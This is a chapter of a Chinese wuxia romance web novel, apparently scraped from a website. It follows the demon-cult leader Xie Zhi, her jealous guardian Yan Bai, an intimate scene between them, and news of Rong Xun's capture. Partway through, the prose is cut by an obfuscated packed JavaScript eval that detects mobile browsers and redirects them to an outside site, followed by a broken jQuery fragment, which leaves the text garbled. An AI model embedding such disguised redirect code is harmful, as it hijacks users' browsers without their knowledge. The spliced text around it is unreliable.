11. [锁]   [此章节已锁]
    城外杀机弥漫,城内却是一片春和景明。

    城西一处湖心亭落了满地的海棠花瓣,映着高瓴琉瓦、翘角滴翠的飞檐构造,自成一片风光。亭中两人对弈,一黑一白,相对而坐。

    “她怎么这个时候回来了?”说话这人一身白衣,面如冠玉,姿容潋滟,声音淙淙如水,如九天之上流泻而下的白云,令人轻易沉溺。

    正是遍寻不见的容峋。

    对面那人一副书生打扮,细目长眉,面容清癯,约莫二十来岁的年纪。这书生摇了摇头:“还不清楚。按着原计划,这位魔教教主就算知道消息也得是今天了。可如今她却直接回到了鄣郡......即便飞鸽传书也没有这样快的,除非......”

    说到这里,他话音顿了顿,抬眸瞧了男人一眼。

    容峋拈起一枚黑子,淡笑道:“除非什么?”

    “她走到一半,临时起意折了回来。”

    容峋将手中黑子轻轻按下,掀眸望了过去:“她不是一早就定下了在武林大会当日血祭万花庄的计划,如何轻易就改了主意?”

    如今的容峋面上脱去了先前的稚气,狭长的眼眸如潺潺春水流转波光,可等到深入其中的时候,才发现那春水深处是一潭无底的深渊,幽暗冷峻。

    对面男人没有说话。

    容峋悠悠叹了口气:“如此倒是不好将这桩事安在他们头上了。”

    “那武林盟那边的计划......”

    “继续吧。魔教的人没有明面现身,不代表暗地里没有动作。”

    书生点头:“是。”

    两个人安静对弈片刻,容峋再次出声:“如今什么情况了?”

    书生没有说话,因为他清楚这话也不是问他的。

    一道黑衣人不知从哪里落了下来,低声道:“窦沛没抓到人,让人进了城。咱们的人不敢靠得太近,在淮南巷跟丢了。”

    容峋没有立刻说话,在棋盘上按下决定局势的最后一子,才慢慢起身:“丢了就丢了吧。”

    “咱们也要走了。”

    “在这鄣郡停留的也够久了。”

    容峋走了两步,又慢慢停下,似乎才想起来一般:“她中了窦沛的无影针?”

    黑衣人点头:“窦沛的无影针细如牛毛,而且上面含有剧毒,只怕......活不过几个时辰了。”

    容峋慢慢垂下眸子,面上瞧不出什么情绪,只是周身的氛围却明显凝固了很多。

    黑衣人觑着眼朝书生看去。

    书生隐晦的摇了摇头,安静的等着自家公子吩咐。

    容峋哦了一声,脚下不停,踩过零落成泥的海棠花:“也好。如此,武林大会的事也就彻底落在魔教头上了。”

    ***

    “嗯......”一声闷哼之后,谢稚又顺着床沿呕出一口鲜血。

    “主子,你怎么样?”晏白在女人身后连忙扶住她,神情紧张小心。

    谢稚摇了摇头,慢慢将整个身子靠在晏白怀里,没有回答这个问题,反而道:“这是一个很好的机会,怎么不动手?”

    晏白脸上的紧张顿时一僵,眸光同女人琉璃般的视线一碰,沙哑道:“这不是一个很好的机会。”

    “怎么不是?”谢稚几乎将所有的力气都靠在了身后,别开目光,“我受了伤,中了毒,如今身边又只有你一个。方才你若是动手,如今的我就已经是个死人了。”

    晏白睫毛微微颤了下,如同清晨荷叶不堪露水的重负:“这点儿伤于尊主而言,并没有什么大碍。晏白若是此时动手,最后倒下的......只会是我自己。”

    谢稚轻轻笑了一下:“晏白,真不想看到你动手的那天。”

    晏白张了张嘴,想要说什么。女人已经再次说话了,“烧得那样厉害,我没瞧出来是不是花影和别巍。你瞧出来了吗?”

    晏白低低应了一声:“属下也没瞧出来。”

    谢稚:“是与不是,总得再去一趟。”

    晏白抿着唇,眸中有期望也有紧张:“今天已经十三了,马上就到十五月圆之夜了。尊主如今受了伤,不如等过了十五再去。”

    谢稚眸光幽幽的望着前方,过了好一会儿才道:“容峋消失了?”

    晏白眼中滑过一丝妒色,扶着女人胳膊的手指忍不住收紧:“尊主如今都伤成这样了,还要去管他吗?”

    谢稚抬手拉开晏白的手指,侧过脸看向他:“这是关心我,还是......讨厌他?”

    晏白对上她的眸光,紧抿着唇,憋了一会儿道:“都有。”

    谢稚被他这句话逗笑了,手指摸上他的脸颊:“晏白,你同他不一样的。”

    上一次她也说过这句话。可是这一次......

    晏白一把攥住她的手指,眸光紧紧盯着她,如同出鞘的利剑一般犀利:“那尊主说,哪里不一样?”

    男人的压迫感十足,谢稚却仍旧仪态自如,眸光流转出媚意:“他是我的念想,而你......”

    “是我如今离不开的人。”

    晏白低头看着她,仍旧没有觉得满足,甚至感觉更加的饥饿和渴望。他低下头亲吻着女人的指尖,声音呢喃,充满了虔诚和眷恋:“是真的吗?”

    “还是尊主只是在哄着我?”

    谢稚任由着他的动作,眸光温和的看着他的亲吻从指尖一路到了肩头,脖颈和胸口。

    为了逼出体内的银针,谢稚一早就褪去了外衫,只留下了一件茜黄色梅枝抹胸和月白亵裤。右胸前被逼出银针的地方还残留着三个血点,鲜艳如灼。

    晏白几乎虔诚的亲吻着女人身上每一处肌肤,尤其在那几个血点的位置,更是缱绻之至,动作温柔小心。

    谢稚仍旧没有阻止他,甚至闭上了眼睛,手指跟着插进了他的头发,充满了放纵和鼓励。

    “尊主......”晏白的亲吻在胸口停留了一会儿,又慢慢折回到了脖颈和下巴,一直到唇角位置。

    到了这个位置,晏白有些担心也有些紧张,但是他没有抬头去看谢稚,而是继续试探着贴上女人的红唇。

    谢稚一顿,终于开口了,声音带了些许的警告:“晏白......”

    晏白却没有停下,反而趁着女人开口的瞬间,将舌尖送了进去,可没等碰到女人的软舌,就已经被甩了下去。

    “哐当”一声,晏白被撞在屋内的屏风上,又摔在了地上。

    “尊主。”晏白没有起身,直接跪在了地上。

    谢稚坐在原地,遥遥看着他:“知道为什么吗?”

    晏白低着头不说话,唇角紧绷,如同倔强的冰山沉默不语。

    “过来。”谢稚声音放缓了几分,语气也听不出好坏。

    晏白抬起眸子看她,脸上虽然还冷着,可眼中已经升腾出几分希望,脚下跟着动了。

    男人半跪在床前,几乎顺从的将后颈露出来,等着主上的下一句吩咐。

    谢稚摸上他的耳朵,动作温柔的捏了捏:“晏白,别在本座的容忍边缘试探。”

    晏白身子一僵,喉结上下滚动了几圈,才沙哑出声:“为什么他可以?”

    谢稚手上的动作一停,晏白猛地抬起头来,眼睛不知什么时候已经通红一片:“为什么我不可以?”

    两个人的视线交锋,谁也没有退步。最后谢稚缓缓笑了,唇角露出轻盈的笑意:“没有为什么,只是我不想。”

    晏白如同被钉在原地一般,浑身的力气和锋芒一下子就散尽了,只留下空空如也的茫然和无措。

    谢稚叹了口气,手指重新捏上少年的耳朵,语气中尽是感叹:“除了这个,难道我对你还不算例外吗?”

    晏白双眸慢慢回神,渐渐凝成一线,对焦到女人的脸上。女人一身雪白,乌发如瀑,眉眼弯如皎月,红

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285513|151883||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    唇艳若桃花,好像坠落魔道的九天玄女,让人忍不住想要侵犯。

    可是,她不允许。

    晏白眼角微红,攥住谢稚的手腕,恶狠狠的咬了上去。

    “放肆!”

    女人的呵斥不轻不重,晏白却听话的松开了牙齿,目光再次紧盯上了她。

    谢稚斜了他一眼:“做什么?”

    晏白没有说话,也跟着不轻不重的重新咬了她一下。

    “越发放肆了。”

    这就是可以......

    晏白品着女人的语气,动作也越发放肆起来。

    谢稚撩起眼皮瞧他:“混账!”

    晏白虽然被骂了,却不见丝毫恼火,甚至眉间眼上多了些惺忪的笑意。双手也跟着插入女人的指缝,同她十指交扣,咬着那一处沙哑道:“嗯,我混账!只对尊主混账......”

    谢稚平躺在床上,双眸虚虚地望向头顶帷帐,没有理会他。

    晏白没有得到回复,也不着急,反而变本加厉的行动起来。上一次如此亲密,还是二月十五。

    也是苏璟死讯传回去的第三天。

    那天他心里怄着一股气,她也压着一身的阴郁。蛊毒发作的时刻,已经说不清是欲望还是情绪倾泄了。

    比不过苏璟一个死人也就罢了,可是容峋......这个人凭什么?

    想到他,晏白眸中一片沉色,亲吻的力度也陡然用力起来。

    “嘶......行了。”

    晏白却好像没有听到一般,继续往下。

    谢稚眸光一冷,抬脚踹上他的肩头:“晏白,你也不听话了吗?”

    晏白动作终于停下,偏头将吻落到女人脚背,灼热滚烫:“晏白只是想让尊主开心一些。”

    谢稚不轻不重的将人踹开,哪怕周身布满红痕,面上也不见一丝旖旎:“找到容峋,我就会开心。”

    晏白面色肉眼可见的沉了下去,可是这个模样的尊主已经不会再纵容他了。他垂下眸子,哑声道:“好。我去找。是死是活,我都给尊主找回来。”

    少年说完之后,转身就走。

    谢稚冷眼瞧着,没有说话。等人走了之后,房门再次打开,屏风后缓缓转出一道绛紫色曳地裙女子身影,云髻高耸,芙蓉脸蛋,称得上是国色天香。

    女人进来之后,瞧见谢稚这副模样,既不害臊也不躲避,反而凑上前去挑起谢稚一缕乌发在鼻尖嗅闻:“少年人总不知轻重,可是晏护法把尊主弄疼了?”

    谢稚一把扯回自己的头发,警告道:“合欢。”

    合欢挑了挑眉,从善如流的起身靠在一侧:“确实有人拿着京城宁国公府的令牌来让县令那个老东西封城搜捕。十一日白天搜了一圈,似乎没查出什么人来。可到了晚上子时左右,衙门和东姑坞同时出动。那个时候,花影和别巍应该也察觉到了异常,可是已经晚了。”说到这里,女人脸上现出一丝不忍,“刚开始他们应该都藏在了密室之中,可是窦沛直接点了火,烟雾浓重,没有半个钟头的时间,别巍和花影就带着那个叫容峋的冲了出来。”

    “最后容峋被那些人带走了,他们两个......”

    后面的话没有再说,房间内的所有声音戛然而止。

    谢稚闭上眼睛,声音幽微:“他们是怎么知道的?”

    合欢摇了摇头:“还不清楚。如果单单是怀疑的话,不可能直接做到那种程度。那明显是笃定了......他们就在那里。”

    谢稚紧了紧拳头:“容峋在哪里?”

    合欢目光瞬间变得凛然起来:“那老东西将人交给了国公府的人,他们如今应该还在西城别院。”

    谢稚忽然想到什么,猛地起身:“晏白去了那里?”

    合欢点了点头:“方才他出来时候问了我,我就直接告诉......”话没有说完,窗棂响动,谢稚已经不见了身影。